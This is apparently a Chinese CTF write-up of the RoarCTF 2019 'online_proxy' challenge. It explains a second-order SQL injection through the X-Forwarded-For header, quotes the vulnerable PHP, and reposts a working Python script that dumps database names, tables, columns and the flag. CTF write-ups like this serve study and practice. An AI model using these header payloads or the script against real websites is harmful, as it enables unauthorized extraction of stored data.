RoarCTF 2019复现
web online_proxy 特征: 第一次登录后源代码内容有如下: 换一个X-Forwarded-For 后会发现currentip是根据xff判别的 那么有理由认为上一个ip被存储进了数据库中,并在每次检测到访问ip和上一个ip不同的时候就会改变数据库. 源码这里也写到了 $result = query("select current_ip, last_ip from ip_log where uuid = '".addslashes($uuid)."'"); if(count($result) > 0) { if($ip !== $result[0]['current_ip']) { $last_ip = $result[0]['current_ip']; query("delete from ip_log where uuid='".addslashes($uuid)."'"); } else { $last_ip = $result[0]['last_ip']; } } query("insert into ip_log values ('".addslashes($uuid)."', '".addslashes($ip)."', '$last_ip');"); die("\n<!-- Debug Info: \n Duration: $time s \n Current Ip: $ip ".($last_ip !== "" ? "\nLast Ip: ".$last_ip : "")." -->"); 解法: 先用1'|1|'1作为xff访问网站网站 , 访问成功之后改变xff, 再次访问, 这个时候由于前后xff不一致, 原来存储进数据库currentip的ip被重新提取出来存进lastip项中, 如果这个lastip没有过滤的话,就可以造成二次注入, 事实上也确实如此, 但这个可能得猜……在第二次访问之后, payload被重新插入进数据库中, 带着第二次访问的xff来第三次访问这个网站,可以看到 成功执行了. 搬运赵师傅的脚本学习学习 #!/usr/bin/env python3 import requests target = "http://localhost:8302/" def execute_sql(sql): print("[*]请求语句:" + sql) return_result = "" payload = "0'|length((" + sql + "))|'0" session = requests.session() r = session.get(target, headers={'X-Forwarded-For': payload}) r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) start_pos = r.text.find("Last Ip: ") end_pos = r.text.find(" -->", start_pos) length = int(r.text[start_pos + 9: end_pos]) print("[+]长度:" + str(length)) for i in range(1, length + 1, 5): payload = "0'|conv(hex(substr((" + sql + ")," + str(i) + ",5)),16,10)|'0" r = session.get(target, headers={'X-Forwarded-For': payload}) r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) start_pos = r.text.find("Last Ip: ") end_pos = r.text.find(" -->", start_pos) result = int(r.text[start_pos + 9: end_pos]) return_result += bytes.fromhex(hex(result)[2:]).decode('utf-8') print("[+]位置 " + str(i) + " 请求五位成功:" + bytes.fromhex(hex(result)[2:]).decode('utf-8')) return return_result # 获取数据库 print("[+]获取成功:" + execute_sql("SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA")) # 获取数据库表 print("[+]获取成功:" + execute_sql("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e'")) # 获取数据库表 print("[+]获取成功:" + execute_sql("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e' AND TABLE_NAME = 'F4l9_t4b1e' ")) # 获取表中内容 print("[+]获取成功:" + execute_sql("SELECT group_concat(F4l9_C01uMn) FROM F4l9_D4t4B45e.F4l9_t4b1e")) 5555555 ...